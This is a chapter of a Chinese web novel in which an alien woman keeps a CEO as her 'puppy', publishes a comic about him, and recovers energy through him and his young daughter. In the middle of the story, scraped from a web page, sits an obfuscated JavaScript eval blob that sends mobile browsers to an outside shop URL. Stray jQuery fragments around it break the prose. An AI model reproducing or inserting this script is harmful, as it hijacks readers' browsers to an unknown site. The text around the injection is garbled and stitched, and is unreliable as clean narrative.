时岚初收回了触手。
“我爱……她,莱拉。”裴承淮低头整理衬衫上的褶皱,“我不能接受她是因为不爱我才离开,我很难过,所以我才在这里睡着了。”
时岚初再次释放出触手,但是这次只是轻轻贴在裴承淮的后颈,轻柔安抚:“那你认为她为什么会离开?”
裴承淮停下手,望向时岚初身后:“我不知道。”
“所以你才会问我能不能跟我一起回法洛斯?你想找到她?”时岚初问,“但是我确实不确定人类能否在上面存活,或许我等我能量条恢复了,我可以回去帮你找到她。”
“不行。”裴承淮猛地看向时岚初,应激般全身紧绷,“莱拉,你不能走,你不能离开我。”
“我没有离开你,我只是暂时……”
“不行。”裴承淮反手去握那根触手,“求你了莱拉,不要走。”
“好了好了,放轻松。”
人类宠物的丝毫不掩饰的依赖让时岚初很是愉悦,她声音放轻,更多的触手凭空出现,将裴承淮全身包裹住。
像一个拥抱。
时岚初一边用触手哄着自己的宠物,一边垂眸去看掌心,能量条再次疯狂闪烁,肉眼可见地在上涨。
视线落到裴承淮身上,时岚初的嘴唇无声开合:
……Puppy。
·
时岚初的第一话漫画画好了。
万明枝作为第一道审核人员,从头到尾细细看了一遍以后,神情复杂地看着时岚初:“这个漫画,裴总看过了吗?”
“没有。”时岚初利用意念触确认了一遍裴承淮的位置,发现他没有骗自己以后,愉悦地摸了摸在她腿边玩积木的时予念,“没必要给他看,他只是你的老板,不是我的。”
万明枝欲言又止。
“有问题?”时岚初挑眉。
“我只是觉得,这可能不太符合裴总在外的形象。”万明枝斟酌着用词,尽量委婉地劝说,“毕竟在这个漫画里,裴总像一只宠物。”
时岚初不解:“可是他就是我的宠物,不然我为什么叫他Puppy?”
“原来是这个Puppy,我还以为是裴总的英文名,裴和P谐音什么。”
因为地位最低,坐在一边一直不敢开口的宋折舟恍然大悟,被万明枝瞪了一眼后讪讪闭嘴。
万明枝重新看了一遍漫画。
时岚初直接把漫画命名为了《Puppy》,里面画的是她和裴承淮的一些日常,或者准确地说,是她眼里的裴承淮。
这一话的故事从她去宋家的生日宴找裴承淮开始讲起,里面甚至把裴承淮醉酒哭泣的部分也画进去了。
如果前半部分画风还算正常的话,后半部分从裴承淮跪下开始,就怎么看怎么奇怪了。
虽说里面的人物形象没有完全按照裴承淮的外在形象来画,但是像他们这种生活在两人身边的人,一眼就能看出这是裴承淮。
“按理来说,我不应该打探老板的私生活。”万明枝视死如归地看着时岚初,“但是您能告诉我您和裴总到底是什么关系吗?”
“不用说您。”时岚初不知道第多少次纠正,“关系就像我说的,他是我的宠物。”
宋折舟趁万明枝不注意,插嘴:“可是裴总说他喜欢你。”
“宋折舟!我不是跟你说不要把这事跟她说吗?”万明枝满脸惊恐,低声呵斥。
时予念被惊到,从玩具堆里抬头,时岚初摸了摸她的脸,对宋折舟说:“他是我的宠物,自然是喜欢我的。”
宋折舟哑口无言。
“如果剧情没问题的话,就这样发出去吧。”时岚初从地上抱起时予念,往楼上走,“如果你们实在因为什么我不理解的理由要去找Puppy,就去吧,回来的时候顺便把他接回来。”
回到时予念的房间,时岚初帮时予念把帽子摘了,两个触角立马竖了起来,很是Q弹地左右摇摆了两下。
“这都好几天了。”时岚初盯着这两根不受控制向她靠近的触角,眼神探究,“你不会是故意的吧?”
时予念把头摇成拨浪鼓:“我没有。爸爸也觉得奇怪,怎么这次这么久。”
时岚初没有说话。
没有得到回应的时予念小心翼翼地观察着时岚初的脸色,小声问:“是照顾囡囡太麻烦了吗?我也可以自己待着的,只要吃饭的时候叫我一声就可以了。”
时岚初略带诧异地看着眼前的小团子。
时予念以为时岚初生气了,紧急改口:“我也可以不吃饭的。”
“你现在矮得跟家里的垃圾桶一样,还想不吃饭?”时岚初戳了戳时予念肉嘟嘟的小脸,说,“不过你倒是比你爸爸乖多了。”
时予念听不懂时岚初在说什么,有些词听起来感觉不是好话,可是她又能感觉到时岚初没有生气,一时之间无措地抓着自己睡衣两边的小球,忐忑地坐着。
“没有觉得照顾你很麻烦,因为我也没有在照顾你。”
时岚初在时予念身边坐下:“你爸爸也只是让我有空看一下你而已,是我自己想把你带在身边的。”
时予念的眼睛黑得发亮:“为什么?是因为你喜欢囡囡吗?”
时岚初略微思索后点了点头:“算是吧。”
听到肯定的回答,时予念两只眼睛弯成了月牙,这还是时岚初第一次看她笑得这么开心。
“好了,你该午睡了。”时岚初起身。
“嗯!”
时予念重重地应了一声,积极地把鞋子蹬掉就往被子里钻,飞快闭上了眼睛。
时岚初关了灯,站在床边看着这只人类幼崽的脸,感受着手心的能量条在疯狂闪烁,陷入沉思。
她原先以为能量条的恢复只能靠裴承淮,那天在办公室称得上猛涨的能量条更是让她确信了这一点。
可就在第二天,因为家庭教师有事请了假,无事可做的时予念大着胆子过来找她,问她要不要一起画画。
跟万明枝不同的是,宋折舟完全没有打工人的自觉,他们两个白天从隔壁的别墅过来工作,万明枝从上班到下班只会在午饭时间从工作室出来,宋折舟却是累了就会出来走一走。
结果就正好碰上了请假在家的时予念,时予念从他那里知道了时岚初最近在画漫画,还得到了什么都不知道的宋折舟的鼓舞,决定主动找时岚初。
时岚初看在裴承淮的份上,还是打开门让时予念进来了。
第一天来的时候时予念没有准备,只能坐在时岚初的书桌边的地毯上画画,累了就趴着画。
第二天她就带来了自己的小板凳,坐在沙发角的茶几边画。
第三天她让管家搬来了她的画架。
第四天她拿着画问时岚初觉得怎么样。
时岚初看着白纸上的自己的肖像,有些意外连出门都要被裴承淮抱着走的小幼崽居然能画出这种水平的画。
“画的不错,你自己学的?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913804|213249||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时岚初问。
被夸奖了的时予念郑重地把这幅画放到时岚初的数位板边,送给她,然后回答:“嗯,爸爸说这是我的天赋,遗传了妈妈的。你喜欢吗?”
对待幼崽,时岚初一向会多几分耐心,很给面子地点点头:“喜欢。”
话刚说出口,时岚初忽的感觉到了能量条在亮。
她看了看跟前捏着衣角极力克制喜悦的时予念,又看了看手心的能量条,做了个决定。
于是她趁时予念没有去学校这几天,有空就把人带在身边,得出的结果跟与裴承淮在一块一样,能量条的涨与不涨,以及涨幅,呈现的都是随机性。
不过现在有两个人可以帮她恢复能量条,时岚初的能量条已经上涨到了十分之一左右,也算是个好消息。
时岚初看着时予念的睡颜,心想,父女两个都帮了她大忙,如果他们真的想跟着她回法洛斯,她也不是不能找找看有没有行得通的办法。
等等,父女。
时岚初灵光一闪。
另一边。
裴承淮刚从会议室出来,秘书就对他说:“裴总,时小姐的人在办公室等您。”
“嗯。”裴承淮下意识摸了摸自己的脖子。
秘书眼尖地看见了:“裴总,最近看您总是摸脖子,是颈椎不舒服吗?需不需要为您预约按摩服务?”
“不用了。”裴承淮收回手,走到办公室门前,“你去忙吧,不用进来了。”
“好的。”
推开门,坐在沙发上的两个人影站了起来。
万明枝先问好:“裴总好。”
裴承淮微微颔首,视线在扫过宋折舟时顿了顿,坐到椅子上,问:“有什么事?”
万明枝拿出事先准备好的漫画:“这是时小姐画好的漫画,我们不确定能不能发出去,先来向您请示一下。”
第一页是封面,上面显眼的书名号内括着“Puppy”。
“这是漫画名?”裴承淮语气很淡,万明枝却有些紧张地点了点头。
因为只是第一话,不算很长,裴承淮很快就看完了,问:“你们是觉得哪里不妥吗?”
万明枝把不准裴承淮的意思,只能硬着头皮说:“因为这个漫画是以您为原型的,但是您在里面的人物形象是一只宠物。”
裴承淮很轻地笑出了声:“我想你们误会了,莱拉愿意让我出现在她的作品里,我只会高兴。”
万明枝不知作何反应,求助地看向宋折舟。
宋折舟说话就不客气多了:“你不生气?堂堂裴总被当成宠物,又是下跪,又是带项圈的。”
裴承淮看着宋折舟勾了勾嘴角,眼中带着一丝不易察觉的挑衅:“我生气?该生气的应该是你,你甚至没有出现在漫画里。”
这句话就好比她为什么只打我不打别人。
万明枝最终还是选择不理解但尊重,一手给宋折舟做手势警告他别闹事,一手去拿打印出来的画稿:“我明白了,裴总。”
裴承淮压住画稿:“不用拿回去了,就放这吧。”
“……好的。”万明枝领着宋折舟往外走。
“还有,”裴承淮冷不丁开口叫住他俩,深黑色的眼眸一眼望不到底,“你是莱拉的助理,只需要考虑她的想法,别让她失望。”
万明枝关上办公室的门,扭头看向还在生闷气的宋折舟,问:“这算恋爱脑吗?”
回应万明枝的只有宋折舟快把牙咬碎的声音。